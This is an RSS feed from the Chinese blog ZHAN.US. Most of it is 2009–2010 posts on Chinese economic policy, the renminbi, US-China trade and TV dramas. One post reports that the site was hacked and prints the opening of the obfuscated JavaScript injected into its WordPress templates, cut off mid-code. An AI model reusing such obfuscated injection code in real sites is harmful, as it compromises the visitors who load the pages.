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	<title>ZHAN.US</title>
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		<title>中国淘汰落后产能雷声大雨点小</title>
		<description><![CDATA[中国在刚刚过去的这个周末下令，要淘汰低效和高污染的落后产能，政府此举显然要再次显示它解决污染问题、提高能源使用效率的决心。 但观察人士最好还是别急着断言政府此次会取得明显优于以往的进展。 中国工业和信息化部周日发布命令，要求2,087家企业淘汰“落后产能”，即它们工厂中被认定缺乏效率的产能。工信部将18个行业中需淘汰落后产能企业的名单在其门户网站上进行了公布。其中半数企业涉及金属生产，它们所属的行业分别是炼铁(175家)、炼钢(28家)、焦炭(192家)、铁合金(143家)、电石(39家)、电解铝(17家)、铜冶炼(6家)、铅冶炼(17家)、锌冶炼(53家)、水泥(762家)、玻璃(19家)、造纸(279家)、酿酒(38家)、味精(7家)、柠檬酸(2家)、制革(84家)、印染(201家)和化纤(25家)。 与一些报导有出入的是，政府并没有要求这2,087家企业整厂关闭。事实上，在政府公布的2010年淘汰落后产能名单中，明确列出了哪家企业的何种设备应予淘汰，如辽宁海城市西洋钢铁有限公司的两座225立方米高炉、陕西洪洞县霍岳建材有限公司的一台水泥磨，河北石家庄市同泰皮革工业有限公司的91只转鼓，等等。只有12家工厂被要求完全关闭，其中包括河北省的两家造纸厂、广东省的五家印染厂，以及四川省的三家酿酒厂。 中国政府善于发布这类声明。多年来，政府一直誓言要淘汰采煤、炼钢等行业那些规模较小、效率较低的生产能力。工业和信息化部周日这份声明中的时髦字眼“淘汰落后产能”自从2006年前后就一直出现在政府的相关声明中，在那之前中国政府刚刚保证要在2005至2010年期间将能源使用效率提高20%。 政府这类命令和劝告并未明显见效。比如说，尽管政府多年来一直努力控制钢铁产量，但钢铁产能一直在继续增长。 还应该指出的是，2,087家企业对中国而言并不算多。截至2008年中国有42.6万余家工业企业，仅造纸企业就有10,011家。 不过，对那些希望中国提高能源使用效率的人来说，政府如此公开强调淘汰落后产能显然是一个积极迹象。对这些人而言的另一个好消息是，正如《华尔街日报》上周所报导的，中国今年第二季度的能源使用效率有了提高，而第一季度的能耗数据则颇为糟糕，这促使国务院总理温家宝誓言要出“铁拳”实现2010年的能源使用效率目标。 鉴于中国经济的增长速度在第二季度已经放慢下来，而经济学家们预计中国的经济增速将会继续放缓，即使中国政府周日的声明没有像一些人料想的那样严厉，中国的能源使用效率依然很有可能继续提高。这是因为，在经济增长放缓的情况下，效率较低的产能往往会首先被闲置，原因是低效产能的运营成本更高。 Jason Dean]]></description>
		<link>http://www.zhan.us/2010/08/11/factory-closure-order-less-than-it-might-seem/</link>
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		<title>半年报里的秘密：亏损向下游蔓延</title>
		<description><![CDATA[2010年中国经济半年报依旧靓丽，上半年中国经济同比增长达到11.1%，既摆脱了第一季度的过热，又没有走入过冷区间。 但是，中国经济运行的脉象已开始发生紊乱。 “集装箱已经缺箱了，这是以前从来没有过的”，交银施罗德港口行业研究员曹文俊说，与此相反，同样是海运指数，波罗的海干散货运价指数（BDI）却连续下挫，创下了自去年5月1日以来的新低。 “钢铁和有色金属中铝、锌价格已在大幅度跳水，但铜的价格依旧高居不下，为什么会发生这种背离？”中信证券研究员向记者提出疑问。 当问题被一步步剥茧抽丝式地解答之后，一个秘密浮出水面：亏损正在从产业链上游向下游蔓延。 数据在说话 “开局良好”是国家统计局对2010年第一季度经济数据的描述，当季中国经济增长率 （GDP）高达11.9%。但在人大财经委副主任尹中卿等人眼中，这样的经济增幅已是偏热，“当时我们担心的不是衰退，而是经济过热了。”6月份尹中卿接受本报采访时说。 庆幸的是，经济热度从第二季度就开始消退。 一些现行指标诉说着这种变化，2009年10月国家统计局公布的中国先行指数就已经见顶，此指数一般领先实体经济5个月；与此同时，OECD中国合成先行指数也在见顶，该指数一般领先实体经济6个月，“这意味这中国宏观经济已在2010年4-5月见顶下滑。”7月10日中国人民大学在浦东干部学院召开的宏观经济论坛上，中国人民大学经济学院副院长刘元春说。 他的分析很快被中国经济半年报所印证，中国GDP上半年同比增长11.1%，其中二季度增长10.3%，比一季度回落 1.6个百分点。与此对应，规模以上工业同比增长速度从第一季度19.6%回落到二季度的17.6%，6月工业增加值更是回落至13.7%，兴业证券首席经济学家董先安测算季调后环比趋势折年率降低到7.4%，“中国经济环比数据已到冰点。”他说。 “一两个月前我们曾经担忧楼市泡沫、担忧通胀、投资扩张过快、产能过快。好像现在迅速变了，我们现在开始担忧速度会回落。”国家发展和改革委员会的宏观经济研究院常务副院长王一鸣描述了市场心态的变化。 但国家统计局新闻发言人盛来运仍愿意用 “半年国民经济运行总体态势良好”来描述上半年经济形势。这种描述有一定理由，支撑中国经济增长的三大主力表现依旧良好。上半年全社会固定资产投资同比增长25.0%，其中房地产开发投资增长38.1%；社会消费品零售总额同比增长18.2%；进出口同比增长43.1%，其中出口增长35.2%。 不过，让刘元春担心的是一种趋势的改变，“目前这种下滑不是短期的波动，而是一种趋势性的下滑”。 再次探底风险 固定资产投资一直是中国经济最大的引擎，现在它从一季度25.6%回落到二季度的25%，其对经济贡献从去年90%以上跌到50%左右。未来，考虑到今年政府严格控制新开工项目、对地方政府融资平台严格审查，刘元春预测9月份投资会出现大幅下，第四季度固定资产增速可能回到20%的水平。 最大变数仍是房地产，刘元春认为从房地产新政到房地产投资下滑需要5-7个月时间，他预计今年第四季度房地产投资将出现大幅的下滑。而瑞银证券首席经济学家汪涛认为新房开工下降和建筑业活动的减速，不仅拉低房地产投资增速，也会带来对大宗商品和建筑材料需求的下滑，进一步压低重工业生产的增长。 虽然消费数据依旧强劲，但一次性消费刺激政策的效用已在递减，在青岛这类介于一二线之间城市做外贸的车先生告诉记者，他原本打算投资青岛市内的咖啡厅，但是经过考察后发现，这里咖啡厅几乎没有盈利的，“房价的上涨，已经绑架了居民消费水平。”他说。外贸仍然在热舞，海关统计1-6月中国进出口总值比去年同期增长43.1%，其中6月份外贸进出口总额和出口额双双刷新2008年7月以来的纪录。不过，多数研究员认为，目前的情况是三四月份的外贸企业订单强劲的反映，交银施罗德基金公司港口研究员曹文俊4-5月份去做过草根调研，当时他发现企业的外贸订单都很强劲，所以他预计未来7、8月外贸情况都会很好。 不过在5月底到6月份初当曹文俊再次与相关的公司沟通的时候，一些家电、轻工的企业告诉他，出口订单下滑得很快。所以，他对目前一些研究人士预测全年30%外贸增幅不以为然，他估计增长25%左右，这与瑞银首席中国经济学家汪涛预测接近，她预计出口增速将从目前超过40% 的高位放慢到四季度的不到10%，不过全年出口增长仍会到24%。 “去年推动经济增长的核心动力——刺激性政策、存货调整以及出口复苏具有强烈的易变性和敏感性，决定了今年经济增长的基础不稳固。”刘元春认为这是目前经济下滑的原因，他更担心第四季度几个因素叠加，导致中国经济面临再次探底的风险。 实际上，国内和国际一些先行指标已经在发生共振，国际上ECR指标在4月份出现了一个拐点，OECD在5月份出现了一个拐点，国际和国内PMI指标在6月份的数据都在下降，考虑到这些因素的重叠和共振，汪涛认为GDP增速在2010年四季度或2011年一季度可能会低于 8%。 亏损蔓延 在经济下滑过程中，有越来越多的紊乱现象在出现。 “集装箱已经缺箱了，这是以前从来没有过的。”交银施罗德港口行业研究员曹文俊说，“今年以来集装箱运费不断在提，到今年一季度末各航线的集装箱海运费涨到了2008年金融危机之前的水平。”但与此相反，波罗的海干散货运价指数（BDI）却连续下挫,创下了自去年5月1日以来的新低。 “同样是金属行业，钢铁、铝、锌与铜的价格已经背离，前三者价格都在加速下跌，但是铜的价格为什么高居不下？”中信证券研究员也有疑问。 这些问题被剥茧抽丝后答案是：上游产业链开始变冷，已经蔓延到中间制造商，但下游产业链感觉仍不明显。 “从去年上半年开始，中国进口的铁矿石进口就达到5000万吨以上，之后上升到6000万吨，这种情况一直持续今年5月份，但6月份铁矿石进口量环比出现明显的下降。”交银施罗德有色金属研究员饶超说。 导致铁矿石需求减少原因之一是企业库存周期在结束，如去年汽车行业销售和生产有一个爆发性的增长，到了今年2、3月研究员调查时发现，一些4S店出现一定的滞销情况，很多4S店是处在新一轮的去库存阶段。 另一方面，中国4月15日开始新一轮地产调控措施也影响国内对钢铁和铁矿石的需求，因为房地产行业的调整将影响到建材、建筑、装修、家庭耐用品以及机械等行业，而这些行业都是钢铁和铝、锌最大的需求行业。 同时，调控也在影响预期，“2008年季度大众商品暴跌，跌完之后市场有通货膨胀预期，需求都会慢慢放出来，但现在大家已经有了通缩预期，需求会一下子消失。”曹文俊说。 分析员还预测，如果正常情况下，政策没有拐头，大家对经济的预期没有发生变化，三季度市场对金属或矿金石需求维持下滑的趋势。 一边是需求减少，但另一边国内钢铁和有色金属企业的产能并没有减少。从6月中旬钢铁数据来看，基本上钢材日产量还在175万吨以上，供应是历史比较高位的水平。电解铝产量是141万吨，年化将近1700万吨，也是历史的最高产量。 供大于求导致钢铁和电解铝行业价格大幅下滑，但钢铁和有色金属行业为什么不去减产？ “最难减产的就是两个行业，第一个肯定是钢铁行业，比较大的钢厂都是国有企业，是以GDP考核的，不是以利润考核的，到了一个经济周期结束或经济拐点时，企业产能很难减下来。同样的，电解铝行业也是如此，这主要因为电解铝公司开关电解槽的成本非常高。”交银施罗德有色金属分析师饶超回答记者疑问。 价格下跌导致钢铁行业从6月就开始亏损，7月会全面亏损，“现在除了冷轧产品有4个点的毛利率，其他主要的钢铁产品毛利率都是负了。”饶超说。另一个券商公司人士透露，他们与宝钢公司接触，获悉未来宝钢会继续调低钢材价格，这意味钢铁业亏损面会扩大。“同样的，目前整个铝的行业也是全面亏损。未来如果需求没有增长，再加上季节性因素叠加，未来铝行业亏损会加大。”他还表示，“如果第三季度宏观政策没有拐头，中游产业无论是盈利水平，是基本面都会出现继续恶化的态势。” 不过，下游的产业仍在温水煮青蛙的状态中，铜价与钢铁、铝等有色金属价格背离恰好说明这一点。“铜在中国消费结构跟西方不一样，40%以上用在电力，18%可能在空调和家电上，铜价的高位反映这些产业链的利润没有被很快侵蚀。”多位研究员都说。 在产业链的最下游，贸易产业生存状态最好，由于3-5月份订单很好，分析员认为7、8月份的外贸和集装箱的环比数据都很好看。不过，他们认为，中国对出口的调控，包括对部分产品的出口退税的下调，对人民币汇率形成机制的改革都是在5月末才开始做的，而根据他们调研情况，6 月份比5月份的环比订单已经开始减弱，这种订单减少会到9月份或10月份会慢慢开始体现出来。 “总之，先是矿资源，这是最上游产业已经发生变化，接着是中间制造业开始亏损，中间制造业之后，亏损会走到下游，那时候工业品、再加工、机械、电子衍生品可能都会相继进入利润下滑区域。”曹文俊说。]]></description>
		<link>http://www.zhan.us/2010/07/19/the-secrect-of-the-half-year-reports/</link>
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		<title>拯救矿工郑大世</title>
		<description><![CDATA[]]></description>
		<link>http://www.zhan.us/2010/06/23/save-the-miner-zhengdashi/</link>
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		<title>人民币对美元创历史新高 G20等待发达国家出招</title>
		<description><![CDATA[6月21日，人民币对美元汇率创下历史新高。 当天市场开盘后，中国人民银行将美元对人民币中间价定在6.8275，与上周五保持一致。但在随后的交易时段中，市场对于人民币升值预期逐步增强，至下午5点30分，美元对人民币报6.7968，较当日中间价上涨了0.45%。这个涨幅是2005年中国重估汇率以来的最大单日涨幅（中国央行规定的人民币交易波动区间是0.5%），而美元对人民币6.7968则是过去30年来人民币的最高水平。 市场的反应缘于6月19日中国人民银行发布的一则公告。该公告称：根据国内外经济金融形势和我国国际收支状况，中国人民银行决定进一步推进人民币汇率形成机制改革，增强人民币汇率弹性。 这也使得本周末即将召开的多伦多20国集团（G20）领导人峰会的议题出现反转——中国已经开始采取措施来平衡全球经济，接下来，该轮到发达国家出招了。 中国对全球复苏最有信心 人民币升值预期推动全球股市和大宗商品市场6月21日出现大幅上涨。 最先开盘的亚洲股市强劲上涨，MSCI亚太指数当天收盘上涨2.5%，为近两周来最大涨幅。随后开盘的欧洲各国和美国市场也延续了连续多日的涨幅。 上证指数当日上涨73点，涨幅2.9%，香港恒生指数收盘上涨3.1%。摩根士丹利将中国的银行类股票评级从“平于大盘”上调至“超越大盘”。 前IMF首席经济学家Simon Johnson认为，人民币升值会引起巨大的投机资本流入中国。 管理超过900亿美元的澳大利亚基金公司AMP资本表示，他们可能会买入更多以人民币计价的股票资产。这家拥有2亿美元QFII额度的基金还说，他们可能也会买入更多大宗商品股票，因为人民币升值会提升中国对原材料的需求。 国际原油价格当日涨到每桶超过78美元，涨幅超过3%。三个月期铜在伦敦上涨近5%。黄金价格也再创新高，达到了每盎司1265美元。 高盛经济学家乔虹和宋宇在一份研究报告中说，政策调整表明中国政府对全球经济复苏更具信心，且在应对贸易保护主义情绪和调节全球需求方面更加积极主动。 中国对全球经济投下的这一信任票，增加了全球投资者对风险资产的胃口。美国国债、德国国债市场以及信用违约掉期市场周一都出现了下跌。 MAPI经济学家Cliff Waldman说，中国允许人民币升值，说明与几个月前相比，中国对于欧洲危机的威胁已经没有那么担心了。 人民币的未来走势 但因为欧洲前景并不确定，更灵活的人民币意味着其未来可能向两个方向移动。 2005年7月开始，人民币兑美元汇率在两年内上升了大约20%。但到了2008年夏天，随着国际金融危机日益恶化，人民币重回盯住美元的状态，一直保持在6.83左右。 中国央行货币政策委员会委员李稻葵表示，中国央行的表态标志着因为金融危机影响而采取的临时性固定汇率政策的结束，也意味着可能的无穷无尽的人民币升值博弈的结束。 他说，未来人民币可能形成双向波动的机制，有可能升值，也有可能对主要货币贬值。而未来走势将依据欧元以及其他主要货币的走势。 李稻葵说，如果欧元兑美元稳定下来，人民币兑美元可能会恢复逐步缓慢升值步伐，今年升值幅度大约在2%-3%。如果欧元兑美元进一步大幅度贬值，或者美元兑其他货币大幅度升值，那么人民币有可能参照一系列主要货币的币值，兑美元出现一定贬值。 前美林全球首席经济学家、ISI集团资深董事总经理Donald Straszheim同意这一看法。他认为，中国这一次的动作更多是为了管理人民币对其他货币，特别是人民币对欧元，而不是人民币对美元。“人民币汇率的价值将继续由北京来做决定，而不是市场决定。” 今年以来，欧元兑人民币已经下跌了约14%，中国对欧盟出口因此受到了严重威胁。德意志银行经济学家马骏说，因为人民币对欧元已经大幅升值，未来六个月人民币对美元的升幅将是有限的。 彭博社和路透社分别调研的数十位经济学家认为，到今年底人民币对美元将平均上升1.9%，至6.7的水平。6月21日当天，海外市场上人民币海外无本金交割远期（NDF）一度上涨1.4%至6.62，预示海外市场对人民币一年内升值预期达到了2.7%。 G20等待发达国家出招 布鲁金斯学会研究员、前IMF中国研究主管埃斯瓦尔·普拉萨德说，这次调整究竟是一个象征性动作还是代表会导致人民币大幅升值的真正转变，还有待未来的进一步观察。 不过普拉萨德表示，此举表明中国官员认同更加灵活的人民币汇率符合中国自身利益，也兑现了中国对国际社会负责的承诺。他说，中国在G20会议召开前有效转变了辩论主题，它现在可以强调说，G20领导人应该关注全球失衡的主要因素，特别是发达国家的债务问题。 美国国会多位议员上周曾表示，如果中国在峰会结束之前没有就人民币汇率采取行动，美国国会就将立法对中国出口征收惩罚关税。中国方面则针锋相对，外交部发言人秦刚上周表示：在G20场合上讨论人民币汇率问题是“不合适的”。 “我认为（中国央行）公告有点先发制人，很可能就将汇率问题从G20会议的议题中去除了。”彼得森经济研究所研究员尼古拉斯·拉迪说。 摩根士丹利亚洲主席罗奇表示，与华盛顿以及其他政府相比，北京对全球平衡做出了更大的承诺，美欧等国需要采取实际行动来应对其高额的债务赤字问题。 但罗奇说，中国的措施并不是平衡全球经济的万灵药，中国还需要进一步采取措施刺激国内私人消费。]]></description>
		<link>http://www.zhan.us/2010/06/22/yuan-policy-and-g20-summit/</link>
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		<title>ZHAN.US最近被黑客入侵</title>
		<description><![CDATA[最近两个月由于忙到解决个人的老大难问题，几乎忽视了这里的存在了。前段时间WordPress的2.9.1补丁出来了也未及时更新，估计应该是最近两天被人在header.php和footer.php中插入了以下恶意代码： {asdgasdf}{SCRIPT LANGUAGE=&#8221;JavaScript&#8221;}{!&#8211; function Decccode(){var temp=&#8221;",i,c=0,out=&#8221;";var str=&#8221;60!115!99!114!&#8211;二进制&#8211;105!112!116!62!&#8221;;l=str.length;while(c]]></description>
		<link>http://www.zhan.us/2010/01/18/zhan-us-was-hacked/</link>
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		<title>“是好是坏”之理性追问</title>
		<description><![CDATA[这是从未有过的惊异和荒谬。被视为自1930年代大萧条以来最狰狞的经济危机，被认为带来地基坍陷般震撼的金融海啸，似乎仅仅是想象中的猛兽，当猛兽凌空一跃，它突然消散为藏匿阴影中的碎片；当海啸巨潮俯击，它刹那被凝固成平和温吞的水线。恍如隔世，异度空间，从危机时代到后危机时代宛如捅纸般的转换，从无限沉沦到V形反弹仅在咫尺之间，从通缩警示到通胀预期如同无缝对接。所有的预言都成空，所有立场都抽离，所有的假设如流水，所有的视角均修正。 世界和中国一夜间真的好起来了!？ 这是个难以捉摸的命题，也是一道冰冷至极的逼问，因为这里面包含着智识上的纠缠，恰是如何主宰未来行进路线的导航。 世界从极冷回暖，中国由悲观而乐观，这是一个人为的过程、人造的增长。整个世界大约投放了25%的GDP资源进行经济拯救，中国则以4万亿政府财政刺激撬动近10万亿的信贷投放拉动复苏。磅礴的拯救工程赋予官僚职责伦理上的说辞，民众则跟风洗脑般将拯救视为政府义不容辞的“守夜”，而夹杂其中埋单成本的最终支付、明暗利益的巧妙输送、拯救先后序列的机心则被轻易而放纵地忽略。凯恩斯主义的刺激经济计划有如巨大的眼球，权势者的私利始终是最黑和最活跃的部分。 他们对大宗商品走势误判，他们要求政府收储稳定库存跌价；他们对房地产走势误判，要求政府变更文字游戏推出改善性住房概念；他们遭遇高负债现金流之困，则要求政府提高杠杆率有利于其以小博大；他们原本是一帮失败者，却以大而不死银行先死来胁持社会，他们原本是一帮被淘汰者，但他们通过修改规则、罚没别人从而无赖晋级。 真正的市场经济周期实如生物演化，物竞天择，适者优者存活。所谓适者，跟随周期之变而顺应其变者，所谓优者，预判拐点之态而主动应变者也。适者优者猜中经济风向转变，快速销售、压缩库存、积攒现金、伺机出动；而劣质汰者则浑噩无极、抱残守缺、见事不明，落入经济周期惩罚的谷底。事实上，这一过程，类似于生物进化机制，更聪明更富进取力的基因取代愚笨和不知变通的基因。经济的萧条期往往是赐予未来潜在的伟大企业家礼物时期，因为他们躲避了资本缩水，积攒了必要资金，面对萎靡的要素价格，更轻易地组建伟大企业的雏形，从而为下一次经济高峰的到来、知识外溢和智力扩散、创新升级以及社会普遍性对创新的模仿做准备，最终让未来的经济能够更健康地逾越此前的高点，迎接“创造性破坏”的隽永真义。经济周期不是可以割去的扁桃体，而是起伏有致的心跳。经济周期具有生物演化之美，基因再造之势。 适者优者猜中了风向转变的开头而没有猜中结局，劣者汰者啥都没有猜中却能左右结局。万科猜中开头、率先调整握住现金，但却抵挡不住政府廉价货币放水，现金从王变寇，保利地产赢得结局，利用时机大肆扩张，隐隐超越之势，万科反被群小分析师讥讽为“错失良机”；民营钢铁猜中开局，适度收缩，应对暂时僵局，不抵政府人情冷淡货币注水，反被用更低成本廉价融资的低效国营钢铁所兼并。于是，在政府不遗余力拯救之下，经济上演逆向演化之剧，央企盘踞，民资萎缩；地王变性国有，煤炭引发重治。国有不善则民营行倒卖资产套利之实，民营利厚则重新国有行驱逐产权之能。 事实上，我们并非持有僵硬的私有至上意识形态，“国进民退”和“国退民进”性质应是平行。私有应有理，国有应有法。但我们始终看到的是，国有企业民营化总有内部人瓜分嫌疑，而民营企业国有化总有强权强占之嫌，受益者始终是官僚梯队、裙带人群。而那些市场企业家总是在惶恐中预防行政调控的不测，在正确的开局预测中接受意想不到的终局惩罚。这种有悖于正常经济周期，同时又叠合着正常经济周期的“行政周期”，不仅可以创造出国民经济V形逆转的奇特火爆路径，同时也紊乱了内在生物演化式真实理路。 其直接后果之一就是市场企业家对于实业运作的冷漠化，猜对开局的人末尾错得离谱，他们无法锁定内心，从而四顾茫然，他们降低实业欲望，而追逐虚拟经济。他们仅仅相信一些局部的确定关系，如果他们认定政府对房地产市场的超强护盘，他们就会成为房地产泡沫的一滴；如果他们相信股市充满了管理层的关爱，他们就会义无反顾成为股市曲线的波浪小厮。政府一直冀望于实体经济的民资跟进，却发现酿造金融游戏泡沫的无边苦海。 货币如阶梯，上屋抽梯故人群悬而未决。经济需演化，大幕上演而主角被预先废黜。经济拯救让真正的企业家死亡，拯救的界限检验官僚轮空的底线。我们在这里以一种沉痛的心情看待经济数据的暖化，我们以一种悲剧的心态看待路径依赖的滋长。我们从来没有对伟大的中国经济丧失信心，我们只是对一种逆天的演化为之颤瑟，来自我们内心的警告像拳头一样，它们轻轻吹拂着失望和面颊，吹拂着庞大体制波浪中伏落的屋顶。 我们认为政府调控市场经济的精髓不在于迁就民众承诺以北欧般福利主义的虚词，政府调控市场经济的精髓不在于对失业数字的廉价动容。因为自由经济鼓励每个人自强且凌厉地面对人生和困境，因为自由经济强调每个人隐忍而微小累积式福利改善。于是，政府调控市场经济真正的精髓是平等、降低明显的倾向性、承认失败者自负原则、坚持风险和责任的对等性、强化自身行为的透明和自律。否则蚁族式无奈、蜗居式怨怼，就有了正当抒发的情境；否则公务员考试的如龙长队，黄光裕式腐败案的百官牵连，就会延绵不绝。 萧条时期民众临时恐惧的总和，给予当局者下意识的便利，民众被流行的见解所裹挟，视强调拯救边界的理智为冷血。即使如此，我们也需要在这里发声，即使偏见卷起舌头，真理像胃疼一样难以咽下，我们也希望民众能够消化。因为我们所捍卫的是你们持久的利益，我们所保存的是生生不息的公正规则，我们所抵制的是以汝为名的卑劣榨取，我们所叱责的是一种颇富玄机的拯救道义。 但我们也严峻地领悟到，你们可能不会倾听，你们不相信远久的故事，你们仅关注急功近利的当下，你们只相信凯恩斯主义“长期看我们是死人”的哲学。没有真正自由经济的歌谣，你们不会有嘴唇，自由地发声，但可能你们最终唱过的并将传唱的，只是无尽的主旋律的聒噪，它永远不是歌。 【21世纪网】本文网址：http://www.21cbh.com/HTML/2009-12-28/159394_3.html]]></description>
		<link>http://www.zhan.us/2009/12/29/is-this-a-good-time-or-bad/</link>
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		<title>《奋斗》和《蜗居》的区别</title>
		<description><![CDATA[奋斗的编剧叫石康，纯爷们，确切年龄41岁； 蜗居的编剧叫六六，纯娘们，大概年龄36岁。 　　 奋斗是一个老男人写的浪漫主义的奇幻喜剧； 蜗居是一个小女人写的现实主义的恐怖杯具。 　　 奋斗说的是北京那旮旯的事儿； 蜗居说的是上海一面德额事体。 　　 奋斗讲了几对年轻无知的男女的混乱爱情故事，主讲‘情’； 蜗居讲了一帮青春渐逝的男女的疯狂同居故事，主讲‘性’。 　　 奋斗努力把青涩理想的青年慢慢塑造成成熟稳重的男人； 蜗居试图把抛妻弃子的男人快速改造成重情重义的男子。 　　 奋斗描绘了一个过于理想的风华青年在遇到他妈的老情人的滴血认亲后，不想放弃梦想选择认贼作父的故事，是一个儿童童话。 蜗居诉说了一个爱慕虚荣的美貌少女在看到她妈的大女儿的残酷生活后，不敢面对生活选择出卖肉体的故事，是一个成人寓言。 　　 奋斗讲的是年轻人如何盖房子； 蜗居讲的是年轻人如何买房子。 　　 奋斗中的主人翁们坚定不移的在清华大学毕业的男人的正确领导下，最终取得了结婚的重大成果； 蜗居中的各角色们始终紧密团结围绕在复旦大学毕业的女人的周围，最终取得了买房的重大胜利。 　　 看了奋斗，觉得故事好假； 看了蜗居，觉得人生好假。 　　 奋斗让女人不相信男人； 蜗居让男人不相信女人。 　　 奋斗让一些初入社会的小青年盼望自己有一个出国在外、还未相认、终生未娶、富甲一方、幡然悔悟、注重亲情的生父； 蜗居让一些涉世未深的小姑娘幻想自己找一个出手大方、萍水相逢、宝刀未老、权倾朝野、执迷不悟、滥情至上的干爹。 　　 奋斗描述了富家子弟的逍遥生活，粉饰了富人“身在福中不知福，饱汉不知饿汉饥”的无耻行径，控诉了资本主义的黑暗； 蜗居刻画了劳苦大众的悲惨人生，抒发了人民“安得广厦千万间，大批寒士俱欢颜”的美好愿望，赞美了社会主义的和谐。 　　 奋斗也许会给人带来希望； 蜗居一定会让人感觉绝望。 　　 喜欢奋斗的观众有些真的去奋斗了； 喜欢蜗居的观众有些真的当二奶了。 　　 奋斗是冷酷现实的迷幻剂，满足了80后最后逝去的一丝幻想情节； 蜗居是残酷现实的催化剂，刺痛了80后正在面临的一个严酷现实。]]></description>
		<link>http://www.zhan.us/2009/12/04/the-tv-shows-fengdou-and-woju/</link>
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		<title>中美就业机器相互顶牛</title>
		<description><![CDATA[美国总统奥巴马(Barack Obama)说，作为其重新启动美国就业机器努力的一部分，他想要“重新平衡”中国和美国间的经济关系。他今年9月表示，我们不能走回头路，回到那个中国向美国卖一切东西的时代，在这个时代里美国背负了大量的信用卡债务或物业套现贷款，却没有向中国卖任何东西。他希望，因美国消费者无力重返大量举债消费的老路而留下的消费缺口，将由中国数亿消费者来填补。 好一副如意算盘。诚然，中国市场规模巨大且增长迅速。到2009年，中国已成为仅次于美国的全球第二大电脑市场，首次购机者在电脑购买者中所占的比例更大。中国的手机用户已经超过了美国。如果不包括运动型多用途车(SUV)，中国去年的轿车销量已经赶上了美国(直到2006年，美国轿车销量还是中国的两倍)。 就在美国政府出手救助通用汽车(General Motors)和克莱斯勒(Chrysler)之际，这两家公司的在华汽车销量却在飙升。通用汽车今年在中国的汽车销量几乎比去年增加了50%。宝洁(Proctor &#038; Gamble)在中国是如此深入人心，以至许多中国人认为其许多产品是中国本土品牌(比如该公司绿茶香味的佳洁士牙膏)。如果中国经济继续以当前或接近当前速度增长，而经济增长的好处也能惠及中国13亿消费者，中国将会成为有史以来规模最大的市场。届时中国将有十多亿部轿车在行驶，中国将成为家用电子产品、服装、家用电器以及几乎所有其他产品的全球最大市场。 但事实却是，中国正在朝实现中美经济“再平衡”的相反方向前进。虽然中国的生产能力持续飙升，但经济增长成果中属于消费者的部分却在不断下降。去年，个人消费对中国经济增长的贡献率仅为35%；而10年前的这一比率接近50%。与此相反，资本投资对经济增长的贡献率10年间却由35%提高到44%。 虽然中国的资本支出正在向超过美国的资本支出迈进，但中国的消费支出却仅相当于美国的六分之一。中国企业正将不断增长的利润用于进一步扩大生产能力──开办工厂、添置设备以及引进新技术。中国的6,000亿美元经济刺激支出一直着力于进一步扩大产能而非增加消费。那么，如果增加的产能无法被中国消费者消化，它们又会去哪里？这部分产能将转化为对其他国家、特别是美国和欧洲的净出口。 中国消费者保持节俭是有众多理由的。由于社会保障体系依然不完善，许多中国家庭不得不为医疗、教育和养老支出未雨绸缪。中国青年男子的数量大大超过青年女子，所以有男孩的家庭为了能让儿子在婚姻市场上有竞争力，不得不为其积攒足够的财富。由于中国政府30年来严格执行计划生育政策，中国社会正在迅速老龄化，其结果是中国家庭的老年人赡养负担大为加重。 但中国人倾向于节俭的更主要原因是，中国是一个生产而非消费导向的国家。中国想成为世界一流的生产国。它还想在先进技术的开发方面处于领先地位。虽然美国希望继续保持在这方面的领先地位，但美国经济却是消费而非生产导向的。 美国人根深蒂固的观念是，发展经济的根本目的是提供更多消费机会。我们勉强支持了政府重建美国基础设施的努力。虽然我们希望美国企业投资新设备和新技术，但我们也希望它们慷慨派发股息。虽然我们批准了政府在基础研发方面的投资，但主要是想让美国通过开发先进军事技术而变得更安全。(我们将军事投资对民用行业的带动看作是一种附带影响。) 而中国的产业和技术政策则非常直接。中国特别想获得美国的专门技术，而获取专门技术的最佳方式就是第一手拿到它。所以中国继续为美国和其他国家公司销售在华生产的产品设置诸多限制条件。这些产品许多都是外国公司在华合资企业生产的。 美国公司目前正在帮助中国建设“智能基础设施“、用清洁技术处理污染物、开发新一代光电和风力涡轮机、为纳米技术找到新的应用领域，以及建造商用喷气机和喷气机引擎。通用汽车最近宣布，它计划在中国生产一款新的紧凑型轿车，这款车主要由该公司和上海汽车集团股份有限公司合资成立的泛亚汽车技术中心(Pan-Asia Technical Automotive Center)负责设计和开发。通用电气(General Electric)则正在中国生产风力涡轮机零部件。本月早些时候，总部位于美国马萨诸塞州的常青太阳能公司(Evergreen Solar)宣布，将把其太阳能电池板生产业务迁往中国。 中国政府也想在中国创造更多就业机会，而它将继续依赖出口。每年都有数以千万计的中国贫困人口从乡村涌入大城市，以寻求报酬更高的工作。如果他们不能如愿，中国则有发生骚乱和其他社会动荡的危险。社会陷入严重无序状态是中国统治精英们面临的最大风险之一。即使要付出补贴外国买家的代价，中国统治精英也更愿意在出口行业创造就业机会，而不愿让人民币升值从而承受国内出现就业岗位短缺的风险。 从这个意义上说，中国的出口政策其实是一种社会政策，其目的是要维持社会秩序。中国将不顾奥巴马政府的恳求，继续让人民币汇率钉住美元──当美元下跌时，中国为维持人民币与美元间的固定汇率，会在外汇市场上卖出人民币、买入美元，从而使自己的外汇资产规模进一步扩大。当然，中国会为此付出巨大成本，但出于本国产业和社会政策的考虑，中国认为付出的成本是值得的。 美国和中国的生产能力都远远超过其本国消费者的购买能力。就美国而言，问题的根源是，国家总收入中落入最富美国人囊中的那部分所占比例不断提高，使得美国中产阶级的购买力相对缩小，除非他们愿意大量负债。虽然中国的贫富差距也在不断扩大，但中国的最大问题是经济发展成果里属于中国普通消费者的份额在不断缩小，用于资本投资的比例在不断扩大。 美中两国社会都受到了生产和消费脱节的威胁。在中国，由此造成的威胁是社会不稳。在美国，则是旷日持久的就业和企业盈利低迷，如果再加上社会贫富差距不断扩大的影响，有可能造成政治方面的负面冲击。]]></description>
		<link>http://www.zhan.us/2009/11/19/china-and-the-american-jobs-machine/</link>
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		<title>官方一天内连发三信号 经济走强已无悬念?</title>
